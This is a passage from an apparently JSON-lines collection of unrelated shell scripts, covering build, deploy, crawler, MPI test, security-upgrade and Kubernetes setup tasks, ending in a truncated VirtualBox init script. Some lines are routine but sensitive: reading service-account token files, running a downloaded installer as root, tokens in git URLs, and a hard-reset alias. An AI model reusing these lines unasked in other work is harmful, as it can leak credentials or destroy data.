-v grep`\"\n kill -9 ${pid}\n # kill -9 $(ps -ef|grep wefe|grep task_executor|grep -v grep|awk '{print $2}')\n if [[ $? -eq 0 ]]; then\n echo \"killed\"\n else\n echo \"kill error\"\n fi\n else\n echo \"service not running\"\n fi\n}\n\ncase \"$1\" in\n start)\n start\n status\n ;;\n\n stop)\n stop\n ;;\n status)\n status\n ;;\n\n restart)\n stop\n start\n status\n ;;\n *)\n echo \"usage: $0 {start|stop|status|restart}\"\n exit -1\nesac"} {"text": "#!/bin/bash\n# Copyright 2020 Forschungszentrum Jülich GmbH and Aix-Marseille Université\n# \"Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements; and to You under the Apache License, Version 2.0. \"\n\n# Test record with MPI with different number of thread and MPI\n\n# Script needs to be started from the directory it is located in\nCURRENT_REPERTORY=$(pwd)\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\ncd \"$DIR\" || exit\n\n# configuration variable\n. ./init.sh\n\nmkdir test_nest_spike_multi\nsleep 1\n\n# test 1 : full mpi\necho \"###################################### FULL MPI #################################################\"\n$RUN -n 1 python3 ../nest_elephant_tvb/translation/test_file/record_nest_activity/record_region_activity_multiple.py ./test_nest_spike_multi/3.txt 4 &\n$RUN -n 1 python3 ../nest_elephant_tvb/translation/test_file/record_nest_activity/record_region_activity_multiple.py ./test_nest_spike_multi/4.txt 4 &\n$RUN -n 4 python3 ./test_nest_file/spikedetector_mpi_thread.py\n\nrm -rd test_nest_spike_multi\nmkdir test_nest_spike_multi\n\n# test 2 : hybrid mpi and thread\necho \"###################################### Hybrid #################################################\"\n$RUN -n 1 python3 ../nest_elephant_tvb/translation/test_file/record_nest_activity/record_region_activity_multiple.py ./test_nest_spike_multi/3.txt 2 &\n$RUN -n 1 python3 ../nest_elephant_tvb/translation/test_file/record_nest_activity/record_region_activity_multiple.py ./test_nest_spike_multi/4.txt 2 &\n$RUN -n 2 python3 ./test_nest_file/spikedetector_mpi_thread.py\n\nrm -rd test_nest_spike_multi\nmkdir test_nest_spike_multi\n\n# test 3 : hybrid mpi and thread\necho \"###################################### thread #################################################\"\n$RUN -n 1 python3 ../nest_elephant_tvb/translation/test_file/record_nest_activity/record_region_activity_multiple.py ./test_nest_spike_multi/3.txt 1 &\n$RUN -n 1 python3 ../nest_elephant_tvb/translation/test_file/record_nest_activity/record_region_activity_multiple.py ./test_nest_spike_multi/4.txt 1 &\n$RUN -n 1 python3 ./test_nest_file/spikedetector_mpi_thread.py\n\nrm -rd test_nest_spike_multi\n\n# return to the calling repertory\ncd \"${CURRENT_REPERTORY}\" || exit"} {"text": "curl -L \\\n-X GET 'localhost:8082/v2/schemas/keyspaces/'users_keyspace'/tables/users' \\\n-H \"X-Cassandra-Token: $AUTH_TOKEN\" \\\n-H \"accept: application/json\""} {"text": "Justyer/AnjukeSpiderAjkSpider/tools/ajk_esf/ajk_esf.sh0\n#! /bin/bash\r\nexport PATH=$PATH:/usr/local/bin\r\nsource /usr/local/crawler/dxc/venv/bin/activate\r\ncd /usr/local/crawler/dxc/AnjukeSpider/AjkSpider\r\n\r\nnohup scrapy crawl ajk_get_esf1 > /dev/null 2>&1 &\r\nsleep 3m\r\na1 = ps x | grep ajk_get_esf1 | grep -v grep | awk '{print $1}'\r\nkill -s 9 $a1\r\n\r\nnohup scrapy crawl ajk_get_esf2 > /dev/null 2>&1 &\r\nsleep 3m\r\na2 = ps x | grep ajk_get_esf2 | grep -v grep | awk '{print $1}'\r\nkill -s 9 $a2\r\n\r\nnohup scrapy crawl ajk_get_esf3 > /dev/null 2>&1 &\r\nsleep 3m\r\na3 = ps x | grep ajk_get_esf3 | grep -v grep | awk '{print $1}'\r\nkill -s 9 $a3\r\n\r\nnohup scrapy crawl ajk_get_esf4 > /dev/null 2>&1 &\r\nsleep 3m\r\na4 = ps x | grep ajk_get_esf4 | grep -v grep | awk '{print $1}'\r\nkill -s 9 $a4\r\n\r\nnohup scrapy crawl ajk_get_esf5 > /dev/null 2>&1 &\r\nsleep 3m\r\na5 = ps x | grep ajk_get_esf5 | grep -v grep | awk '{print $1}'\r\nkill -s 9 $a5\r\n\r\nnohup scrapy crawl ajk_get_esf6 > /dev/null 2>&1 &\r\nsleep 3m\r\na6 = ps x | grep ajk_get_esf6 | grep -v grep | awk '{print $1}'\r\nkill -s 9 $a6\r\n\r\nnohup scrapy crawl ajk_get_esf7 > /dev/null 2>&1 &\r\nsleep 3m\r\na7 = ps x | grep ajk_get_esf7 | grep -v grep | awk '{print $1}'\r\nkill -s 9 $a7\r\n\r\nnohup scrapy crawl ajk_get_esf8 > /dev/null 2>&1 &\r\nsleep 3m\r\na8 = ps x | grep ajk_get_esf8 | grep -v grep | awk '{print $1}'\r\nkill -s 9 $a8\r\n\r\nnohup scrapy crawl ajk_get_esf9 > /dev/null 2>&1 &\r\nsleep 3m\r\na9 = ps x | grep ajk_get_esf9 | grep -v grep | awk '{print $1}'\r\nkill -s 9 $a9\r\n\r\nnohup scrapy crawl ajk_get_esf > /dev/null 2>&1 &\r\n\r\ndeactivate"} {"text": "1-10\n#!/bin/bash\n\nset -e\nset -x\n\nsudo apt remove --yes --force-yes cmake\n\n# Upgrade CMake\nversion=3.5\nbuild=2\nmkdir ~/temp\ncd ~/temp\nwget https://cmake.org/files/v$version/cmake-$version.$build-Linux-x86_64.sh\nsudo mkdir /opt/cmake\nsudo sh cmake-$version.$build-Linux-x86_64.sh --prefix=/opt/cmake --skip-license\nsudo ln -s /opt/cmake/bin/cmake /usr/local/bin/cmake\n\n# add flat buffers\ncd ~\ngit clone https://github.com/google/flatbuffers.git\ncd ./flatbuffers\ngit checkout 925c1d77fcc72636924c3c13428a34180c30f96f # 1.10.0 release commit\nmkdir build\ncd build\ncmake .. -DFLATBUFFERS_BUILD_TESTS=Off -DFLATBUFFERS_INSTALL=On -DCMAKE_BUILD_TYPE=Release -DFLATBUFFERS_BUILD_FLATHASH=Off\nmake -j4\nsudo make install\n\ncd /reinforcement_learning\n\n# Build reinforcement_learning\nmkdir -p build\ncd build\ncmake ..\nNUM_PROCESSORS=$(cat nprocs.txt)\nmake -j${NUM_PROCESSORS}\n\nexport CTEST_OUTPUT_ON_FAILURE=1\nmake test"} {"text": "#!/bin/bash\n\nfunction die_with() { echo \"$*\" >&2; exit 1; }\n\necho \"Getting current version from pom.xml\"\nCURRENT_VERSION=\"`sed -n 's|.*\\(.*\\).*|\\1|p' pom.xml | awk '{ print $1; exit }'`\" && echo \"Current version from pom.xml: $CURRENT_VERSION\"\n\nread -p \"New version: \" NEW_VERSION || die_with \"Prompt for new version failed\"\n\nif ! echo $NEW_VERSION | grep -i -- '-SNAPSHOT' >/dev/null; then echo \"WARNING: changing to a release version!\"; fi\n\necho \"Updating the project version in build.gradle, pom.xml and README.md to $NEW_VERSION\"\nsed -ri \"s/\"`echo $CURRENT_VERSION | sed 's/\\./\\\\\\\\./g'`\"/$NEW_VERSION/g\" build.gradle pom.xml README.md || die_with \"Failed to update the project version!\"\nchmod 644 build.gradle pom.xml README.md"} {"text": "#!/bin/bash\nca=$(cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | base64 -w 0)\ntoken=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\nnamespace=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)\nserver=https://${KUBERNETES_SERVICE_HOST}\necho \"\napiVersion: v1\nkind: Config\nclusters:\n- name: ${RELEASE_NAME}-cluster\n cluster:\n certificate-authority-data: ${ca}\n server: ${server}\ncontexts:\n- name: ${RELEASE_NAME}-context\n context:\n cluster: ${RELEASE_NAME}-cluster\n namespace: ${ISTIO_NAMESPACE}\n user: ${RELEASE_NAME}-user\ncurrent-context: default-context\nusers:\n- name: ${RELEASE_NAME}-user\n user:\n token: ${token}\n\" > $KUBECONFIG\nkubectl config --kubeconfig=$HOME/sa.kubeconfig use-context ${RELEASE_NAME}-context"} {"text": "Eleazar-Harold/brailler_desktop\n\n#!/usr/bin/env bash\n\nset -x\n\nmypy src\nblack --check src\nisort --recursive --check-only src\nflake8 src --max-line-length=88"} {"text": "#!/bin/bash\n\npython3 -m pip install --upgrade pip\nfind . -name requirements.txt -exec python3 -m pip install -r {} \\;"} {"text": "# exit on any error raised\nset -e\n\necho 'start docker containers'\ndocker-compose -f ./docker/api.compose.yml --env-file ./.env/api.env down"} {"text": "#!/usr/bin/env bash\nmysql -uroot -p$MYSQL_ROOT_PASSWORD -Dmysql0\n#!/bin/bash\n\n./scripts_bridge_build.sh -f :KotlinComparisonModule:ImageHandlingKotlin -f :JavaComparisonModule:ImageHandlingJava $@\necho\n./execution_time_test.sh -f :KotlinComparisonModule:ImageHandlingKotlin -f :JavaComparisonModule:ImageHandlingJava $@"} {"text": "#!/bin/sh\n# - 2017\n#\n# Security fix for USN-2706-1\n#\n# Security announcement date: 2015-08-06 00:00:00 UTC\n# Script generation date: 2017-01-01 21:04:43 UTC\n#\n# Operating System: Ubuntu 12.04 LTS\n# Architecture: x86_64\n#\n# Vulnerable packages fix on version:\n# - icedtea-6-jre-cacao:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jdk:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jre-headless:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jre:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jre-lib:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-source:6b36-1.13.8-0ubuntu1~12.04\n# - icedtea-6-jre-jamvm:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jre-zero:6b36-1.13.8-0ubuntu1~12.04\n# - icedtea-6-jre-jamvm:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jdk:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-source:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jre:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jre-headless:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jre-zero:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jre-lib:6b36-1.13.8-0ubuntu1~12.04\n#\n# Last versions recommanded by security team:\n# - icedtea-6-jre-cacao:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-jdk:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-jre-headless:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-jre:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-jre-lib:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-source:6b40-1.13.12-0ubuntu0.12.04.2\n# - icedtea-6-jre-jamvm:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-jre-zero:6b36-1.13.8-0ubuntu1~12.04\n# - icedtea-6-jre-jamvm:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-jdk:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-source:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-jre:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-jre-headless:6b40-1.13.12-0ubuntu0.12.04.2\n# - openjdk-6-jre-zero:6b36-1.13.8-0ubuntu1~12.04\n# - openjdk-6-jre-lib:6b40-1.13.12-0ubuntu0.12.04.2\n#\n# CVE List:\n# - CVE-2015-2590\n# - CVE-2015-2628\n# - CVE-2015-4731\n# - CVE-2015-4732\n# - CVE-2015-4733\n# - CVE-2015-4760\n# - CVE-2015-4748\n# - CVE-2015-2601\n# - CVE-2015-2808\n# - CVE-2015-4000\n# - CVE-2015-2625\n# - CVE-2015-2613\n# - CVE-2015-2621\n# - CVE-2015-2632\n# - CVE-2015-4749\n#\n# More details:\n# - https://www.cyberwatch.fr/vulnerabilites\n#\n# Licence: Released under The MIT License (MIT), See LICENSE FILE\nsudo apt-get install --only-upgrade icedtea-6-jre-cacao=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-jdk=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-jre-headless=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-jre=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-jre-lib=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-source=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade icedtea-6-jre-jamvm=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-jre-zero=6b36-1.13.8-0ubuntu1~12.04 -y\nsudo apt-get install --only-upgrade icedtea-6-jre-jamvm=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-jdk=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-source=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-jre=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-jre-headless=6b40-1.13.12-0ubuntu0.12.04.2 -y\nsudo apt-get install --only-upgrade openjdk-6-jre-zero=6b36-1.13.8-0ubuntu1~12.04 -y\nsudo apt-get install --only-upgrade openjdk-6-jre-lib=6b40-1.13.12-0ubuntu0.12.04.2 -y"} {"text": "#!/bin/bash\nset -e\n\nconda env create --name oecophylla-anvio -f anvio.yaml --quiet > /dev/null"} {"text": "DigitalSurvival/Vitality\n#!/usr/bin/env bash\n\nexport BRANDING_LONG=\"Vitality Linux\"\nexport BRANDING_SHORT=\"vitality\"\n\nexport VERSION_NUMBER=\"${VERSION_X}.${VERSION_Y}.${VERSION_Z}\"\nexport TIMESTAMP=$(date +\\%Y.\\%m.\\%d)\n\nexport VERSION_FULL=\"${BRANDING_LONG} v${VERSION_NUMBER} - Built on ${TIMESTAMP}\"\n\nexport BASE_DIR=\"/tmp/${BRANDING_SHORT}\"\nexport CHROOT_DIR=\"${BASE_DIR}/chroot\"\nexport RELEASE_DIR=\"${BASE_DIR}/release\"\nexport LOG_DIR=\"${BASE_DIR}/logs\""} {"text": "maoshuai/ezlog-cli\n. app_logs_normalize.source\n\nnormalize_index_file /Users/maoshuai/maos/it_studio/ezlog-workspace/ezlog-test-logs-bak/wherelog_for_dept4_test_logs/HQBB/hqbb/hqbb_transtime.log | head"} {"text": "microsoftazurestorageexplorer)\n name=\"Microsoft Azure Storage Explorer\"\n type=\"zip\"\n downloadURL=$(downloadURLFromGit microsoft AzureStorageExplorer )\n appNewVersion=$(versionFromGit microsoft AzureStorageExplorer )\n expectedTeamID=\"UBF8T346G9\"\n archiveName=\"Mac_StorageExplorer.zip\"\n ;;"} {"text": "peterezzo/iotcloudchrony/docker-entrypoint.sh\n#!/bin/sh\n\nCHRONY_CONF_FILE=\"/etc/chrony/chrony.conf\"\n\n# confirm correct permissions on chrony run directory\nif [ -d /run/chrony ]; then\n chown -R chrony:chrony /run/chrony\n chmod o-rx /run/chrony\n # remove previous pid file if it exist\n rm -f /var/run/chrony/chronyd.pid\nfi\n\n# confirm correct permissions on chrony variable state directory\nif [ -d /var/lib/chrony ]; then\n chown -R chrony:chrony /var/lib/chrony\nfi\n\n## dynamically populate chrony config file.\n{\n echo \"# chrony.conf file generated by startup script\"\n echo \"# located at /docker-entrypoint.sh\"\n} > ${CHRONY_CONF_FILE}\n\n\n# if NTP_SERVERS environment variable is not present, populate with default server\nif [ -z \"${NTP_SERVERS}\" ]; then\n echo \"pool pool.ntp.org iburst\" >> ${CHRONY_CONF_FILE}\nelse\n IFS=\",\"\n for N in $NTP_SERVERS; do\n # strip any quotes found before or after ntp server\n N_CLEANED=${N//\\\"}\n echo \"server \"${N_CLEANED}\" iburst\" >> ${CHRONY_CONF_FILE}\n done\nfi\n\n# final bits for the config file\n{\n echo\n echo \"driftfile /var/lib/chrony/chrony.drift\"\n echo \"makestep 0.1 3\"\n echo \"local stratum 10\"\n echo \"allow\"\n} >> ${CHRONY_CONF_FILE}\n\n## startup chronyd in the foreground\nexec /usr/sbin/chronyd $*"} {"text": "######################################\n\n#FOR WHOLE MOTHERBOARD USE\n#nonodes=1 # Number of MPI processes [NOTE: (numnodes = nodes/2) for nodes found above]\n#numthds=44 # number of cores assigned to each MPI process\n\n# FOR WHOLE CPU (2 per motherboard) USE\n#nonodes=7 # Number of MPI processes [NOTE: numnodes = nodes, for nodes found above]\n#numthds=6 # Number of OpenMP threads per MPI job\nnonodes=1\nnumthds=3\n\n# Calculate used threads for Hybrid OpenMP and MPI\nlet totThreads=\"$nonodes*$numthds\"\nlet numCoresPerNode=\"$numthds\"\nlet totCores=\"$numCoresPerNode*$nonodes\"\n\n# Disable MPI processor affinity and allow for select placement\n#export MV2_ENABLE_AFFINITY=0\n\n#With Intel compiler versions 10.1.015 and later,\n#you need to set KMP_AFFINITY to disabled\n#to avoid the interference between dplace and\n#Intel's thread affinity interface.\n#export KMP_AFFINITY=disabled\n\nexport MPI_DSM_VERBOSE=1\nexport OMP_NUM_THREADS=$totThreads\n#export OMP_PROC_BIND=true\n#export OMP_PLACES=sockets\n#export GOMP_CPU_AFFINITY=\"0-10\"\n#export GOMP_CPU_AFFINITY=\"11-21\"\n#export GOMP_CPU_AFFINITY=\"22-32\"\n#export GOMP_CPU_AFFINITY=\"33-43\"\n\n# Disable MPI processor affinity and allow for select placement\nexport MV2_ENABLE_AFFINITY=0\n\n#With Intel compiler versions 10.1.015 and later,\n#you need to set KMP_AFFINITY to disabled\n#to avoid the interference between dplace and\n#Intel's thread affinity interface.\nexport KMP_AFFINITY=disabled\n\n#numactl --hardware\n#mpirun -np $nonodes omplace -nt $numthds -vv ./a.out > output.txt\n#mpirun -np $nonodes ./a.out > output.txt\n\n# Run on cpus on node 0, with preferred memory allocation on local node(s)\n#mpirun -np $nonodes numactl --cpunodebind=1 --localalloc ./a.out > output.txt\n#mpirun -np $nonodes --cpus-per-proc $numthds --report-bindings ./a.out > output.txt\n#mpirun -np $nonodes taskset --cpu-list 0-10 ./a.out > output.txt\n#mpirun -np $nonodes taskset --cpu-list 11-21 ./a.out > output.txt\n#mpirun -np $nonodes taskset --cpu-list 22-32 ./a.out > output.txt\n#mpirun -np $nonodes taskset --cpu-list 33-43 ./a.out > output.txt\n#mpirun -np $nonodes numactl --localalloc taskset --cpu-list $1 ./a.out > output.txt\nmpirun -np $nonodes numactl --localalloc taskset --cpu-list '41-43' ./a.out > output.txt"} {"text": "0\n#!/usr/bin/env sh\n\necho \"mvn clean\"\nmvn clean\necho \"git checkout master\"\ngit checkout master\n\necho \"Getting current version\"\nsnapshotVersion=$(mvn help:evaluate -Dexpression=project.version | tail -8 | head -1)\n\necho \"The current version is ${snapshotVersion}\"\nversion=${snapshotVersion%-SNAPSHOT}\n\necho \"Changing project version to the release version v$version\"\n\necho \"mvn versions:set -DnewVersion=$version\"\nmvn versions:set -DnewVersion=${version}\nmvn versions:commit\n\necho \"Pushing release $version to the master\"\ngit add pom.xml\necho \"git commit -m 'Release v${version}'\"\ngit commit -m \"Release v${version}\"\necho \"Creating v${version} tag\"\necho \"git tag -a v${version} -m 'Release of version ${version}'\"\ngit tag -a v${version} -m \"Release of version ${version}\"\necho \"Pushing release version and new tag\"\ngit push --force --quiet \"https://${GIT_TOKEN}@github.com/${GIT_USER_ACCOUNT}/concordion-foundation-extension.git\" master --tags > /dev/null 2>&1\n\nsleep 10\n\necho \"Publishing release of version ${version}\"\nrelease_json='{ \"tag_name\": \"v'\"${version}\"'\", \"target_commitish\": \"master\", \"name\": \"v'\"${version}\"'\", \"body\": \"Release of version '\"${version}\"'\", \"draft\": false, \"prerelease\": false}'\necho \"Releasing: ${release_json}\"\ncurl -u \"${GIT_USER_ACCOUNT}:${GIT_PASSWORD}\" -H \"Content-Type: application/json\" -X POST -d \"${release_json}\" https://api.github.com/repos/\"${GIT_USER_ACCOUNT}\"/concordion-foundation-extension/releases\n\nmvn clean package deploy\n\necho \"Creating $version branch\"\ngit checkout -b ${version}\necho \"Pushing release branch\"\ngit push --force --quiet \"https://${GIT_TOKEN}@github.com/${GIT_USER_ACCOUNT}/concordion-foundation-extension.git\" ${version} > /dev/null 2>&1\n\necho \"Updating to the new ${version}-SNAPSHOT version\"\ngit checkout master\nmvn -B release:update-versions\ngit add pom.xml\ngit commit -m \"Prepare for the next development version\"\necho \"Pushing new development version\"\ngit push --force --quiet \"https://${GIT_TOKEN}@github.com/${GIT_USER_ACCOUNT}/concordion-foundation-extension.git\" master > /dev/null 2>&1"} {"text": "xcode-select --install \nrustup update\nrustup target add wasm32-unknown-unknown"} {"text": "ilarivp-dagmar/dotfiles\n#!/bin/sh\n\n# Shortcuts\nalias reloadshell=\"source $HOME/.zshrc\"\nalias c=\"clear\"\nalias e=\"exit\"\n\n# Tools\nalias cm=\"chezmoi\"\nalias tg=\"terragrunt\"\nalias tf=\"terraform\"\nalias jn=\"jupyter notebook\"\n\n# Directories\nalias dev=\"cd $HOME/version_control\"\nalias devd=\"cd $HOME/version_control/Dagmar\"\nalias devp=\"cd $HOME/version_control/Personal\"\n\n# Git\nalias amend=\"git add . && git commit -a --amend --no-edit\"\nalias force=\"git push --force-with-lease origin\"\nalias nuke=\"git clean -df && git reset --hard\"\nalias resolve=\"git add . && git commit --no-edit\"\nalias clean='git branch --merged | egrep -v \"(^\\*|main|master|dev)\" | xargs git branch -d'"} {"text": "#! /bin/sh\n# $Id: vboxadd-x11.sh $\n## @file\n# Linux Additions X11 setup init script ($Revision: 128493 $)\n#\n\n#\n# Copyright (C) 2006-2017 Oracle Corporation\n#\n# This file is part of VirtualBox Open Source Edition (OSE), as\n# available from http://www.virtualbox.org. This file is free software;\n# you can redistribute it and/or modify it under the terms of the GNU\n# General Public License (GPL) as published by the Free Software\n# Foundation, in version 2 as it comes in the \"COPYING\" file of the\n# VirtualBox OSE distribution. VirtualBox OSE is distributed in the\n# hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.\n#\n\n\n# chkconfig: 35 30 70\n# description: VirtualBox Linux Additions kernel modules\n#\n### BEGIN INIT INFO\n# Provides: vboxadd-x11\n# Required-Start:\n# Required-Stop:\n# Default-Start:\n# Default-Stop:\n# Description: VirtualBox Linux Additions X11 setup\n### END INIT INFO\n\nPATH=$PATH:/bin:/sbin:/usr/sbin\nCONFIG_DIR=\"/var/lib/VBoxGuestAdditions\"\nCONFIG=\"${CONFIG_DIR}/config\"\nMODPROBE=/sbin/modprobe\n\nif $MODPROBE -c 2>/dev/null | grep -q '^allow_unsupported_modules *0'; then\n MODPROBE=\"$MODPROBE --allow-unsupported-modules\"\nfi\n\n# Find the version of X installed\n# The last of the three is for the X.org 6.7 included in Fedora Core 2\nxver=`X -version 2>&1`\nx_version=`echo \"$xver\" | sed -n 's/^X Window System Version \\([0-9.]\\+\\)/\\1/p'``echo \"$xver\" | sed -n 's/^XFree86 Version \\([0-9.]\\+\\)/\\1/p'``echo \"$xver\" | sed -n 's/^X Protocol Version 11, Revision 0, Release \\([0-9.]\\+\\)/\\1/p'``echo \"$xver\" | sed -n 's/^X.Org X Server \\([0-9.]\\+\\)/\\1/p'`\nx_version_short=`echo \"${x_version}\" | sed 's/\\([0-9]*\\.[0-9]*\\)\\..*/\\1/'`\n# Version of Redhat or Fedora installed. Needed for setting up selinux policy.\nredhat_release=`cat /etc/redhat-release 2> /dev/null`\n# Version of OL installed. Needed for blacklisting vboxvideo.\noracle_release=`cat /etc/oracle-release 2> /dev/null`\n# All the different possible locations for XFree86/X.Org configuration files\n# - how many of these have ever been used?\nx11conf_files=\"/etc/X11/xorg.conf /etc/X11/xorg.conf-4 /etc/X11/.xorg.conf \\\n /etc/xorg.conf /usr/etc/X11/xorg.conf-4 /usr/etc/X11/xorg.conf \\\n /usr/lib/X11/xorg.conf-4 /usr/lib/X11/xorg.conf /etc/X11/XF86Config-4 \\\n /etc/X11/XF86Config /etc/XF86Config /usr/X11R6/etc/X11/XF86Config-4 \\\n /usr/X11R6/etc/X11/XF86Config /usr/X11R6/lib/X11/XF86Config-4 \\\n /usr/X11R6/lib/X11/XF86Config\"\n\n# Preamble for Gentoo\nif [ \"`which $0`\" = \"/sbin/rc\" ]; then\n shift\nfi\n\ndev=/dev/vboxguest\nuserdev=/dev/vboxuser\nowner=vboxadd\ngroup=1\n\nfail()\n{\n echo \"${1}\" >&2\n exit 1\n}\n\n# Install an X11 desktop startup application. The application should be a shell script.\n# Its name should be purely alphanumeric and should start with a two digit number (preferably\n# 98 or thereabouts) to indicate its place in the Debian Xsession startup order.\n#\n# syntax: install_x11_startup_app app desktop service_name\ninstall_x11_startup_app() {\n self=\"install_x11_startup_app\"\n app_src=$1\n desktop_src=$2\n service_name=$3\n alt_command=$4\n test -r \"$app_src\" || fail \"$self: no script given\"\n test -r \"$desktop_src\" || fail \"$self: no desktop file given\"\n test -n \"$service_name\" || fail \"$self: no service given\"\n test -n \"$alt_command\" || fail \"$self: no service given\"\n app_dest=`basename $app_src sh`\n app_dest_sh=`basename $app_src sh`.sh\n desktop_dest=`basename $desktop_src`\n found=0\n x11_autostart=\"/etc/xdg/autostart\"\n kde_autostart=\"/usr/share/autostart\"\n redhat_dir=/etc/X11/Xsession.d\n mandriva_dir=/etc/X11/xinit.d\n debian_dir=/etc/X11/xinit/xinitrc.d\n if [ -d \"$mandriva_dir\" -a -w \"$mandriva_dir\" -a -x \"$mandriva_dir\" ]\n then\n install -m 0644 $app_src \"$mandriva_dir/$app_dest\"\n found=1\n fi\n if [ -d \"$x11_autostart\" -a -w \"$x11_autostart\" -a -x \"$x11_autostart\" ]\n then\n install -m 0644 $desktop_src \"$x11_autostart/$desktop_dest\"\n found=1\n fi\n if [ -d \"$kde_autostart\" -a -w \"$kde_autostart\" -a -x \"$kde_autostart\" ]\n then\n install -m 0644 $desktop_src \"$kde_autostart/$desktop_dest\"\n found=1\n fi\n if [ -d \"$redhat_dir\" -a -w \"$redhat_dir\" -a -x \"$redhat_dir\" ]\n then\n install -m 0644 $app_src \"$redhat_dir/$app_dest\"\n found=1\n fi\n if [ -d \"$debian_dir\" -a -w \"$debian_dir\" -a -x \"$debian_dir\" ]\n then\n install -m 0755 $app_src \"$debian_dir/$app_dest_sh\"\n found=1\n fi\n if [ $found -eq 1 ]; then\n return 0\n fi\n cat >&2 << EOF\nCould not set up the $service_name desktop service.\nTo start it at log-in for a given user, add the command $alt_command\nto the file .xinitrc in their home directory.\nEOF\n return 1\n}\n\n\nstart()\n{\n # Todo: check configuration and correct it if necessary\n return 0\n}\n\nstop()\n{\n return 0\n}\n\nrestart()\n{\n stop && start\n return 0\n}\n\nsetup_opengl()\n{\n # Install the guest OpenGL drivers. For now we don't support\n # multi-architecture installations\n rm -f /etc/ld.so.conf.d/00vboxvideo.conf\n rm -Rf /var/lib/VBoxGuestAdditions/lib\n if /usr/bin/VBoxClient --check3d 2>/dev/null; then\n mkdir -p /var/lib/VBoxGuestAdditions/lib\n ln -sf \"${INSTALL_DIR}/lib/VBoxOGL.so\" /var/lib/VBoxGuestAdditions/lib/libGL.so.1\n # SELinux for the OpenGL libraries, so that gdm can load them during the\n # acceleration support check. This prevents an \"Oh no, something has gone\n # wrong!\" error when starting EL7 guests.\n if test -e /etc/selinux/config; then\n if command -v semanage > /dev/null; then\n semanage fcontext -a -t lib_t \"/var/lib/VBoxGuestAdditions/lib/libGL.so.1\"\n fi\n # This is needed on old Fedora/Redhat systems. No one remembers which.\n chcon -h -t lib_t \"/var/lib/VBoxGuestAdditions/lib/libGL.so.1\" 2>/dev/null\n fi\n echo \"/var/lib/VBoxGuestAdditions/lib\" > /etc/ld.so.conf.d/00vboxvideo.conf\n fi\n ldconfig\n}\n\nsetup()\n{\n if test -r \"${CONFIG}\"; then\n . \"${CONFIG}\"\n else\n fail \"Configuration file ${CONFIG} not found\"\n fi\n test -n \"$INSTALL_DIR\" -a -n \"$INSTALL_VER\" ||\n fail \"Configuration file ${CONFIG} not complete\"\n lib_dir=\"${INSTALL_DIR}/other\"\n test -x \"${lib_dir}\" ||\n fail \"Invalid Guest Additions configuration found.\"\n # By default we want to configure X\n dox11config=\"true\"\n # By default, we want to run our xorg.conf setup script\n setupxorgconf=\"true\"\n # All but the oldest supported X servers can automatically set up the\n # keyboard driver.\n autokeyboard=\"--autoKeyboard\"\n # On more recent servers our kernel mouse driver will be used\n # automatically\n automouse=\"--autoMouse\"\n # We need to tell our xorg.conf hacking script whether /dev/psaux exists\n nopsaux=\"--nopsaux\"\n case \"`uname -r`\" in 2.4.*)\n test -c /dev/psaux && nopsaux=\"\";;\n esac\n # Should we use the VMSVGA driver instead of VBoxVideo?\n if grep 80eebeef /proc/bus/pci/devices > /dev/null; then\n vmsvga=\"\"\n elif grep 15ad0405 /proc/bus/pci/devices > /dev/null; then\n vmsvga=\"--vmsvga\"\n else\n dox11config=\"\"\n fi\n # The video driver to install for X.Org 6.9+\n vboxvideo_src=\n # The mouse driver to install for X.Org 6.9+\n vboxmouse_src=\n # The driver extension\n driver_ext=\".so\"\n # The configuration file we generate if no original was found but we need\n # one.\n main_cfg=\"/etc/X11/xorg.conf\"\n\n modules_dir=`X -showDefaultModulePath 2>&1` || modules_dir=\n if [ -z \"$modules_dir\" ]; then\n for dir in /usr/lib64/xorg/modules /usr/lib/xorg/modules /usr/X11R6/lib64/modules /usr/X11R6/lib/modules /usr/X11R6/lib/X11/modules; do\n if [ -d $dir ]; then\n modules_dir=$dir\n break\n fi\n done\n 